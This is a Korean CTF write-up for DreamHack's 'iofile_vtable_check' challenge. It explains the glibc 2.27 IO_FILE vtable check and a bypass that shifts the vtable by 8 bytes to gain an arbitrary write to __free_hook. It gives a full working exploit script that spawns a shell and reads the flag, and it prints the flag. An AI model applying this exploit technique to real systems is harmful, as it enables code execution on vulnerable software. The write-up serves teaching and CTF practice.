문제: DreamHack — iofile_vtable_check 분류: pwnable 난이도: 🥇 Gold 3 FLAG:
DH{5b042802448cd05f035aed55f8e7af0b}
소스가 39줄뿐인 문제다. fopen("/dev/urandom") 으로 받은 FILE 포인터에 read(0, fp, 300) 로 300바이트를 그대로 덮어쓸 수 있고, 그 직후 fclose(fp) 가 호출된다. IO_FILE 공격의 교과서 같은 설정인데, 함정이 하나 더 있다 — 라이브 서버의 glibc 가 고전 풀이를 막는 방향으로 바뀌어 있었다.
file extracted/iofile_vtable_check; pwn checksec extracted/iofile_vtable_check
No-PIE 라 바이너리 영역(0x400000)의 주소는 고정이다. 전역 fp 포인터가 0x6010a0 에 박혀 있다는 뜻이고, 이건 나중에 중요해진다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | iofile_vtable_check |
| 난이도 | 🥇 Gold 3 |
| 분류 | pwnable (IO_FILE) |
| 제공 파일 / 서버 | iofile_vtable_check, libc.so.6 / 라이브 VM |
| 보호기법 | Partial RELRO · No canary · NX · No PIE |
| libc | Ubuntu glibc 2.27-3ubuntu1 |
| 핵심 취약점 / 기법 | FILE 구조체 통째 위조 → fclose 로 임의쓰기 → __free_hook |
흐름은 짧다. stdout 주소를 흘려 받아 libc 베이스를 구하고, 위조한 FILE 을 흘려 넣고, fclose 가 그 위조본을 처리하게 만든다. 문제는 "어떤 vtable 경로로 코드 실행을 얻느냐"이고, 여기서 라이브 libc 의 패치 상태가 풀이를 가른다.
🧩 배경 — IO_FILE 와 vtable 검증
glibc 의 FILE 은 실제로는 struct _IO_FILE_plus 다. 구조체 맨 끝(+0xd8)에 vtable 포인터가 붙어 있고, fread·fwrite·fclose 같은 함수는 전부 이 vtable 의 슬롯을 간접 호출한다. 그래서 FILE 을 통째로 제어할 수 있으면, vtable 을 가짜로 바꿔 임의 함수를 부르는 게 고전적인 공격이었다.
glibc 2.24 부터는 이걸 막으려고 IO_validate_vtable 이 들어왔다. 간접 호출 직전에 "이 vtable 포인터가 __libc_IO_vtables 섹션 안을 가리키는가"를 검사하고, 벗어나면 __fortify_fail 로 죽인다. 즉 힙이나 스택에 가짜 vtable 을 올려 바로 함수 포인터를 심는 길은 막혔다.
그런데 이 검사는 "섹션 범위 안인가"만 본다. __libc_IO_vtables 안에는 _IO_file_jumps, _IO_str_jumps, _IO_wfile_jumps 같은 진짜 vtable 들이 여러 개 나란히 들어 있다. 그래서 "섹션 안의 다른 vtable 로 바꿔치기"는 검사를 통과한다. 이 문제의 이름 iofile_vtable_check 가 가리키는 게 바로 이 검증이다.
🔬 코드 정찰
제공된 소스 전문이다.
// gcc -o vtable_bypass vtable_bypass.c -no-pie
FILE * fp;
int main()
{
initialize(); // setvbuf(stdin/stdout, _IONBF), alarm(60)
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout); // ← libc leak 을 공짜로 준다
printf("Data: ");
read(0, fp, 300); // ← FILE 구조체 300바이트 통째 위조
if (*(long*)((char*) fp + 0xe0) != 0) // ← 가드
{
exit(0);
}
fclose(fp); // ← 위조본을 처리
}제어권을 정리하면 이렇다.
printf("stdout: %p")로 libc 주소가 공짜로 샌다.stdout은_IO_2_1_stdout_이고 이 심볼의 오프셋(0x3ec760)은 2.27 계열에서 고정이라, 한 줄로 libc 베이스가 나온다.read(0, fp, 300)으로FILE의 앞 300바이트(_flags~_mode+ vtable +0xe0)를 전부 내 값으로 채운다.*(long*)(fp + 0xe0) != 0이면exit(0).0xe0은 원본struct locked_FILE의_lock자리인데, 반드시 0 으로 채워야fclose까지 간다.fclose(fp)— 여기가 유일한 트리거다.
노릴 곳은 분명하다. fclose 가 위조된 vtable 을 통해 뭔가를 호출하게 만들어야 한다. 그런데 IO_validate_vtable 이 살아 있으니 가짜 vtable 을 힙에 올릴 수는 없다. __libc_IO_vtables 안의 진짜 vtable 중 하나를 골라야 한다.
💣 핵심 — vtable 을 8바이트만 민다
고전 풀이는 _IO_str_jumps 를 vtable 로 쓰는 것이다. _IO_str_finish 가 _IO_strfile 구조체 안의 _s._free_buffer 함수 포인터를 간접 호출하는데, 그 자리에 system, 인자 자리에 /bin/sh 를 넣으면 셸이 떴다. _IO_str_jumps 도 __libc_IO_vtables 안이라 검증을 통과한다.
그런데 이 경로가 라이브 서버에서 조용히 죽어 있었다. (자세한 삽질은 아래 토글에 정리했다.) Ubuntu 가 보안 백포트로 _IO_str_finish 의 간접 호출을 call free@plt 로 바꾼 빌드가 돌던 시기가 있었고, 그 경우 _s._free_buffer 를 심어도 아무 일도 일어나지 않는다.
그래서 FILE 안의 함수 포인터를 하나도 안 쓰는 경로가 필요했다. 아이디어는 한 줄이다 — vtable 을 _IO_file_jumps 에서 8바이트만 민다.
_IO_jump_t 는 함수 포인터 배열이다. _IO_do_write 는 데이터를 내보낼 때 vtable + 0x78 슬롯(_IO_SYSWRITE)을 부른다. vtable 을 -8 하면 배열 전체가 한 칸씩 밀려서, +0x78 자리에 원래 +0x70 슬롯(_IO_SYSREAD = _IO_file_read)이 올라온다.
# vtable_offsets.py — _IO_file_jumps 를 8바이트 밀면 SYSWRITE 슬롯에 _IO_file_read 가 온다.
import struct
from pwn import ELF
e = ELF("extracted/libc.so.6", checksec=False)
data = open("extracted/libc.so.6", "rb").read()
rev = {v: k for k, v in e.symbols.items()}
fj = e.symbols["_IO_file_jumps"]
sec = next(s for s in e.sections if s.name == "__libc_IO_vtables")
lo, hi = sec.header.sh_addr, sec.header.sh_addr + sec.header.sh_size
def foff(va):
for seg in e.segments:
h = seg.header
if h.p_type == "PT_LOAD" and h.p_vaddr <= va < h.p_vaddr + h.p_filesz:
return h.p_offset + va - h.p_vaddr
def slot(va):
return struct.unpack("<Q", data[foff(va):foff(va) + 8])[0]
print("__libc_IO_vtables : 0x%06x .. 0x%06x" % (lo, hi))
print("_IO_file_jumps : 0x%06x" % fj)
print("vtable (shift -8): 0x%06x (여전히 섹션 안 → IO_validate_vtable 통과)" % (fj - 8))
print()
print("_IO_do_write 가 부르는 슬롯은 vtable + 0x78 (_IO_SYSWRITE)")
print(" 정상 vtable: *(0x%06x + 0x78) = 0x%06x %s" % (fj, slot(fj + 0x78), rev.get(slot(fj + 0x78), "")))
print(" 밀린 vtable: *(0x%06x + 0x78) = 0x%06x %s" % (fj - 8, slot(fj - 8 + 0x78), rev.get(slot(fj - 8 + 0x78), "")))
print()
print("→ SYSWRITE(fp, _IO_write_base, n) 가 _IO_file_read 로 바뀐다")
print(" = read(fp->_fileno, _IO_write_base, n) ⇒ 임의 주소 쓰기")python3 vtable_offsets.py
밀린 vtable(0x3e8298)은 여전히 __libc_IO_vtables(0x3e7760~0x3e84c8) 안이라 IO_validate_vtable 을 통과한다. 그리고 _IO_SYSWRITE 자리에는 _IO_file_read 가 올라온다. "내보내는 write"가 "받아 적는 read"로 바뀌는 것이다.
_IO_do_write 를 직접 디스어셈해 보면 이 간접 호출과 인라인 검증이 한눈에 보인다.
objdump -d extracted/libc.so.6 --start-address=0x8ceb4 --stop-address=0x8cf52 | sed -f annot_dowrite.sed
함수 앞머리에서 lea ... # 3e7760 과 lea ... # 3e84c8 로 섹션 경계를 잡고, cmp %rax,%rbp; jbe 로 vtable 이 범위 안인지 검사한다. 이게 인라인된 IO_validate_vtable 이다. 통과하면 0x8cf4d 의 call *0x78(%r14) — 우리가 노리는 _IO_SYSWRITE 간접 호출이다.
정적 분석만으로는 미심쩍으니 gdb 로도 확인했다.
# verify_syswrite.gdb
set pagination off
set confirm off
set disable-randomization on
start
printf "=== _IO_do_write 의 SYSWRITE 간접호출 ===\n"
x/3i _IO_do_write+0xa7
printf "\n=== 정상 vtable: *(_IO_file_jumps + 0x78) ===\n"
x/a (char*)&_IO_file_jumps+0x78
printf "\n=== 밀린 vtable: *((_IO_file_jumps-8) + 0x78) ===\n"
x/a (char*)&_IO_file_jumps-8+0x78
quitgdb -q -batch -x verify_syswrite.gdb ./local16/iofile_vtable_check 2>/dev/null
이제 _IO_SYSWRITE(fp, _IO_write_base, n) 가 read(fp->_fileno, _IO_write_base, n) 이 된다. _fileno·_IO_write_base·n 은 전부 우리가 채운 FILE 필드다. 즉 원하는 주소에, stdin 에서 보낸 값을, 원하는 길이만큼 쓸 수 있다.
목표는 __free_hook 에 system 을 받아 적는 것이다. 그러면 fclose 가 조금 더 진행해 _IO_unsave_markers → _IO_free_backup_area 에서 free(fp->_IO_save_base) 를 부르는데, _IO_save_base 에 /bin/sh 주소를 미리 넣어 두면 free("/bin/sh") = system("/bin/sh") 가 된다.

핵심은 이 경로가 함수 포인터를 하나도 안 거친다는 점이다. _IO_file_read 는 vtable 슬롯이지만 우리가 심은 값이 아니라 libc 안의 진짜 함수다. _IO_str_finish 의 _s._free_buffer 같은 "FILE 안의 포인터를 부르는" 코드가 전혀 없어서, Ubuntu 가 그걸 패치했든 안 했든 그대로 동작한다.
🐛 삽질 — 라이브 libc 가 두 번 바뀌어 있었다
이 문제가 이틀 연속 VM 크레딧을 전부 태운 게 전부 libc 버전 추적 때문이었다. 과정을 토글에 정리해 둔다.
▶🐛 삽질 1 — 고전 풀이가 라이브에서만 조용히 죽었다
로컬 배포본(2.27-3ubuntu1)에서는 고전 _IO_str_jumps → _s._free_buffer 풀이가 첫 시도에 셸을 줬다. 그런데 라이브 서버에서는 똑같은 페이로드가 아무 출력 없이 EOF 로 끝났다. leak 은 완벽했고(stdout 하위 12비트 0x760, 베이스 페이지 정렬), fclose 까지 도달하는 것도 오라클로 확인했는데 코드 실행만 안 됐다.
원격 libc 를 통째로 떠서 비교했더니 2.27-3ubuntu1.6 이었다. _IO_str_finish 를 디스어셈하니 배포본의 call *0xe8(%rbx)(= _s._free_buffer 간접 호출)가 call free@plt 로 바뀌어 있었다.
bash strfinish_diff.sh # 두 판의 _IO_str_finish 를 objdump 로 나란히 본다
Ubuntu 가 _IO_str_fields 간접 호출을 제거하는 보안 백포트를 넣은 빌드였다. 고전 풀이가 원천적으로 불가능했던 것이다.
▶🐛 삽질 2 — _IO_wide_data 경로도 전부 막혀 있었다
함수 포인터를 쓰는 다른 통로를 찾아 _IO_wfile_jumps 의 _wide_vtable(2.27 에서는 wd+0x130, 0xe0 이 아니다) 호출을 노렸다. House of Apple 계열이다. 그런데 *(wd+0x130) 이 우리 버퍼를 가리키게 하려면 _wide_data 를 놓을 자리가 고정 주소 두 곳(바이너리 전역 fp=0x6010a0, libc _IO_list_all)뿐인데, 하나는 .dynamic 한복판(GNU_RELRO 라 쓰면 SEGV), 하나는 _nl_global_locale(게이트 탈락 + free(libc주소) abort)이라 둘 다 못 넘었다.
결국 __libc_IO_vtables 전체에서 "FILE 안의 0xe0/0xe8 포인터를 부르는" 코드를 전수조사했더니 패치 빌드엔 0곳이었다. 그래서 함수 포인터를 아예 안 쓰는 _IO_file_jumps-8 SYSWRITE 경로로 선회했고, 패치본 복제환경에서 셸을 잡았다.
▶🐛 삽질 3 — 발사 직전 libc 가 배포본으로 되돌아갔다
SYSWRITE 익스를 들고 라이브에 쐈는데 또 EOF 였다. leak 은 멀쩡했다. 마지막 크레딧으로 leak_file.py(fd1 write 로 임의 주소를 읽는 도구, 패치·오프셋 무관)로 libc 배너를 떴더니 Ubuntu GLIBC 2.27-3ubuntu1 — 8월의 패치판 1.6 이 아니라 배포 기본판 으로 되돌아가 있었다.
두 판은 system·/bin/sh 오프셋이 0x20 씩 다르다. 1.6 오프셋으로 쏘면 __free_hook 에 system 이 아닌 엉뚱한 주소가 적혀 크래시한다. 반면 _IO_file_jumps·__free_hook·stdout 오프셋은 양 판이 같아서 leak/vtable 만 멀쩡했던 것이다.
python3 offset_diff.py # 두 판의 핵심 오프셋 비교
그래서 발사 libc 를 extracted(배포판)로 고정했다. 다행히 SYSWRITE 경로는 패치와 무관한 범용본이라, 어느 판이 떠 있든 --libc 만 맞추면 그대로 통한다.
교훈은 간단하다. 라이브 환경의 libc 는 공지 없이 바뀔 수 있으니, 발사 전에 배너를 직접 확인하는 단계를 넣는 게 안전하다. 이번엔 그 확인을 leak_file.py 로 한다(아래).
🎯 익스플로잇 — 페이로드 조립
위조할 FILE 필드를 정리하면 이렇다.

| 오프셋 | 필드 | 값 | 이유 |
|---|---|---|---|
0x00 | _flags | 0xfbadA800 | IS_FILEBUF + CURRENTLY_PUTTING + USER_LOCK. NO_WRITES·USER_BUF·IN_BACKUP·IS_APPENDING 은 0 |
0x10 | _IO_read_end | __free_hook | _IO_write_base 와 같아야 new_do_write 가 SYSSEEK 를 건너뛴다 |
0x20 | _IO_write_base | __free_hook | read() 의 목적지 |
0x28 | _IO_write_ptr | __free_hook+8 | 쓰기 길이 = 8 |
0x48 | _IO_save_base | /bin/sh | free() 의 인자 = system 의 인자 |
0x70 | _fileno | 0 | 소켓(stdin)에서 read |
0x74 | _flags2 | 0x20 | _IO_FLAGS2_NOCLOSE — SYSCLOSE 회피 |
0xc0 | _mode | 0 | 좁은 문자 경로 |
0xd8 | vtable | _IO_file_jumps - 8 | SYSWRITE 슬롯 → _IO_file_read |
0xe0 | 가드 | 0 | 문제의 exit(0) 가드 |
입력은 두 번이다. ① 300바이트 위조 FILE, ② 8바이트 system 주소. ②는 fclose 안에서 우리가 만든 read() 가 그대로 받아 __free_hook 에 적는다. 프로그램의 read(0, fp, 300) 은 정확히 300바이트만 소비하므로, 뒤에 붙인 8바이트는 소켓 버퍼에 남았다가 SYSWRITE 단계의 read 가 가져간다.
로컬 배포본 도커에서 먼저 검증했다.
python3 solve_syswrite.py 127.0.0.1 7183 --libc extracted/libc.so.6
uid=1000(iofile_vtable_check) — 실제 챌린지 유저 권한으로 셸이 떴다. 페이로드가 맞다.
패치판(2.27-3ubuntu1.6)에서도 같은 스크립트가 통하는지 확인했다. 원격과 바이트가 동일한 local16 복제본을 socat 으로 띄우고 쏜다.
python3 solve_syswrite.py 127.0.0.1 7186 --libc local16/libc.so.6
고전 _IO_str_finish 경로가 죽어 있는 패치 빌드에서도 --libc 만 바꾸면 그대로 셸이 뜬다. SYSWRITE 경로가 패치와 무관하다는 걸 양쪽에서 확인한 셈이다.
🚀 Full Exploit
최종 solve_syswrite.py 전문이다. 300바이트 FILE 과 8바이트 system 주소를 한 번에 보내 short-read 레이스를 없앴고, 셸에서 flag 를 구분자로 감싸 라이브에서도 확실히 받아온다.
#!/usr/bin/env python3
"""
iofile_vtable_check (DreamHack #57, Gold 3) — 패치된 glibc 2.27-3ubuntu1.6 에서도 통하는 풀이.
원격 libc 는 _IO_str_finish 의 _s._free_buffer 간접호출이 free() 로 치환된 빌드라
고전 "_IO_str_jumps -> system" 경로가 죽어 있다. 대신 FILE 안 함수포인터를 하나도 안 쓰고,
IO_validate_vtable 을 통과하는 vtable 을 8바이트만 밀어서(_IO_file_jumps - 8) 푼다.
vtable = _IO_file_jumps - 8 => SYSWRITE 슬롯(vtable+0x78) 에 _IO_file_read 가 온다.
fclose(fp)
-> _IO_file_close_it (_flags & 0x808 == 0x800)
-> _IO_do_flush -> _IO_do_write -> _IO_SYSWRITE(fp, _IO_write_base, n)
== _IO_file_read(fp, _IO_write_base, n) == read(_fileno, _IO_write_base, n)
==> 임의 주소 쓰기 (stdin 에서 우리가 보낸 값이 그대로 들어간다) → __free_hook = system
-> _IO_unsave_markers -> _IO_free_backup_area -> free(fp->_IO_save_base)
==> __free_hook("/bin/sh") == system("/bin/sh")
사용:
python3 solve_syswrite.py <host> <port> [--libc <경로>]
python3 solve_syswrite.py --local # local16/ (원격과 바이트 동일한 2.27-3ubuntu1.6)
"""
import argparse
import struct
import sys
import time
from pwn import context, process, remote, ELF
# _IO_2_1_stdout_ 기준 상대 오프셋 — 2.27 계열은 전부 같다(1.0/1.5/1.6 확인).
OFF_STDOUT = 0x3EC760
p64 = lambda x: struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
# FILE 필드 오프셋 (x86_64)
F_FLAGS = 0x00
F_READ_END = 0x10
F_WRITE_BASE = 0x20
F_WRITE_PTR = 0x28
F_BUF_BASE = 0x38
F_SAVE_BASE = 0x48
F_MARKERS = 0x60
F_FILENO = 0x70
F_FLAGS2 = 0x74
F_CUR_COLUMN = 0x80
F_MODE = 0xC0
F_VTABLE = 0xD8
F_LOCK_GUARD = 0xE0 # struct locked_FILE 의 lock — 문제의 exit(0) 가드
# _flags: MAGIC | IS_FILEBUF(0x2000) | USER_LOCK(0x8000) | CURRENTLY_PUTTING(0x800)
# USER_BUF(0x1)·NO_WRITES(0x8)·IN_BACKUP(0x100)·IS_APPENDING(0x1000) 은 전부 0 이어야 한다.
FLAGS = 0xFBAD0000 | 0x2000 | 0x8000 | 0x800
def build_payload(libc_base, sym):
"""300바이트 FILE 위조본을 만든다."""
free_hook = libc_base + sym["__free_hook"]
binsh = libc_base + sym["binsh"]
vtable = libc_base + sym["_IO_file_jumps"] - 8
buf = bytearray(300)
def put(off, val):
buf[off:off + 8] = p64(val)
put(F_FLAGS, FLAGS)
# _IO_read_end == _IO_write_base 여야 new_do_write 가 _IO_SYSSEEK 를 건너뛴다.
put(F_READ_END, free_hook)
put(F_WRITE_BASE, free_hook)
put(F_WRITE_PTR, free_hook + 8) # 쓰기 길이 = 8
put(F_BUF_BASE, 0)
put(F_SAVE_BASE, binsh) # free(save_base) 의 인자 = system 의 인자
put(F_MARKERS, 0)
buf[F_FILENO:F_FILENO + 4] = struct.pack("<i", 0) # stdin = 소켓
buf[F_FLAGS2:F_FLAGS2 + 4] = struct.pack("<I", 0x20) # _IO_FLAGS2_NOCLOSE
buf[F_CUR_COLUMN:F_CUR_COLUMN + 2] = b"\x00\x00" # _IO_adjust_column 회피
buf[F_MODE:F_MODE + 4] = struct.pack("<i", 0) # 좁은 문자 경로
put(F_VTABLE, vtable)
put(F_LOCK_GUARD, 0) # 가드: 여기가 0 이 아니면 exit(0)
return bytes(buf), free_hook, binsh, vtable
def libc_symbols(path):
e = ELF(path, checksec=False)
data = open(path, "rb").read()
idx = data.find(b"/bin/sh\x00")
binsh = None
for seg in e.segments:
if seg.header.p_type == "PT_LOAD" and seg.header.p_offset <= idx < seg.header.p_offset + seg.header.p_filesz:
binsh = seg.header.p_vaddr + idx - seg.header.p_offset
break
return {
"_IO_2_1_stdout_": e.symbols["_IO_2_1_stdout_"],
"_IO_file_jumps": e.symbols["_IO_file_jumps"],
"__free_hook": e.symbols["__free_hook"],
"system": e.symbols["system"],
"binsh": binsh,
}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("host", nargs="?")
ap.add_argument("port", nargs="?", type=int)
ap.add_argument("--libc", default="local16/libc.so.6")
ap.add_argument("--local", action="store_true", help="local16/iofile_vtable_check 를 직접 실행")
args = ap.parse_args()
context.log_level = "info"
sym = libc_symbols(args.libc)
io = process("./local16/iofile_vtable_check") if args.local else remote(args.host, args.port)
io.recvuntil(b"stdout: ")
leak = int(io.recvline().strip(), 16)
libc_base = leak - sym["_IO_2_1_stdout_"]
print("[*] stdout = 0x%x" % leak)
print("[*] libc base= 0x%x" % libc_base)
if libc_base & 0xFFF:
print("[!] libc base 가 페이지 정렬이 아니다 — libc 버전이 다르다")
return 1
payload, free_hook, binsh, vtable = build_payload(libc_base, sym)
print("[*] vtable = 0x%x (_IO_file_jumps-8, __libc_IO_vtables 안)" % vtable)
print("[*] __free_hook = 0x%x <- read(0, here, 8)" % free_hook)
print("[*] /bin/sh = 0x%x <- free() 인자" % binsh)
print("[*] system = 0x%x" % (libc_base + sym["system"]))
io.recvuntil(b"Data: ")
# 1단계 FILE(300B) + 2단계 system 주소(8B)를 한 번에 보낸다.
# 프로그램의 read(0,fp,300) 은 정확히 300B 만 소비하고, 남은 8B 는 커널 소켓
# 버퍼에 남아 fclose 안의 SYSWRITE→read(0,__free_hook,8) 가 바로 가져간다.
# 두 번의 send 사이 네트워크 지연에 의한 short-read 레이스를 없앤다.
io.send(payload + p64(libc_base + sym["system"]))
time.sleep(0.5)
# 셸에서 flag 를 확실히 받아온다. 구분자로 감싸 라이브에서도 놓치지 않게.
io.sendline(b"echo ===SHELL_OK===; id; cat /flag* flag* /home/*/flag* 2>/dev/null; echo ===END===")
try:
out = io.recvuntil(b"===END===", timeout=5)
except Exception:
out = b""
if out:
try:
print(out.decode(errors="replace"))
except Exception:
print(repr(out))
# 그래도 남은 출력이 있으면 마저 긁는다
try:
rest = io.recv(timeout=1)
if rest:
print(rest.decode(errors="replace"))
except Exception:
pass
try:
io.interactive()
except Exception:
pass
return 0
if __name__ == "__main__":
sys.exit(main())발사 전에 현재 라이브 libc 가 어느 판인지 배너부터 확인한다. leak_file.py 는 같은 SYSWRITE 아이디어를 "_fileno=1 로 둬서 fd 1 에 write" 하는 버전이라, 패치·오프셋과 무관하게 임의 주소를 읽어 온다.
python3 leak_file.py host3.dreamhack.games 15486 leak-0x3ec760+0x1bb800 0x90
배너가 Ubuntu GLIBC 2.27-3ubuntu1 — 배포 기본판이다. 그래서 --libc extracted/libc.so.6 로 발사한다.
python3 solve_syswrite.py host3.dreamhack.games 15486 --libc extracted/libc.so.6
셸이 떴고 cat 이 실제 flag 를 뱉었다.
DH{5b042802448cd05f035aed55f8e7af0b}📝 결론
IO_FILE 공격에서 vtable 검증은 "다른 vtable 로의 교체"를 막지 못한다.
IO_validate_vtable 은 포인터가 __libc_IO_vtables 섹션 안인지만 본다. 그 안에는 여러 vtable 이 나란히 있어서, 정렬 경계를 무시하고 _IO_file_jumps-8 처럼 8바이트 어긋난 지점을 가리켜도 검사를 통과한다. 슬롯이 한 칸 밀리면 write 가 read 로 바뀌고, 그 순간 "출력 함수"가 "임의 주소 쓰기"로 둔갑한다.
함수 포인터를 안 거치는 경로가 패치에 강하다.
고전 _IO_str_finish 풀이는 FILE 안의 _s._free_buffer 를 부르기 때문에, Ubuntu 가 그 간접 호출을 free@plt 로 바꾸자 그대로 죽었다. 반면 SYSWRITE 경로는 libc 안의 진짜 _IO_file_read 만 쓰고 우리가 심은 포인터를 호출하지 않는다. 그래서 패치본·배포본 양쪽에서 똑같이 동작하는 범용 익스가 됐다.
라이브 환경의 libc 는 바뀐다.
같은 문제가 2.27-3ubuntu1.6 → 2.27-3ubuntu1 로 되돌아가는 걸 겪었다. system 오프셋이 0x20 만 달라도 __free_hook 에 엉뚱한 값이 적혀 조용히 크래시한다. 발사 전에 leak_file.py 같은 패치 무관 primitive 로 배너를 확인하는 한 단계가, 맹목적 재발사로 크레딧을 태우는 것보다 훨씬 싸다.
방어 쪽에서 보면, 이 문제의 근본 원인은 "사용자 입력으로 FILE 구조체를 통째로 덮을 수 있다"는 것 하나다. fopen 이 돌려준 포인터에 read 로 300바이트를 쓰게 두는 설계 자체가 치명적이고, vtable 검증은 어디까지나 완화책일 뿐 이런 완전 제어 앞에서는 8바이트 한 번으로 비껴갈 수 있다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…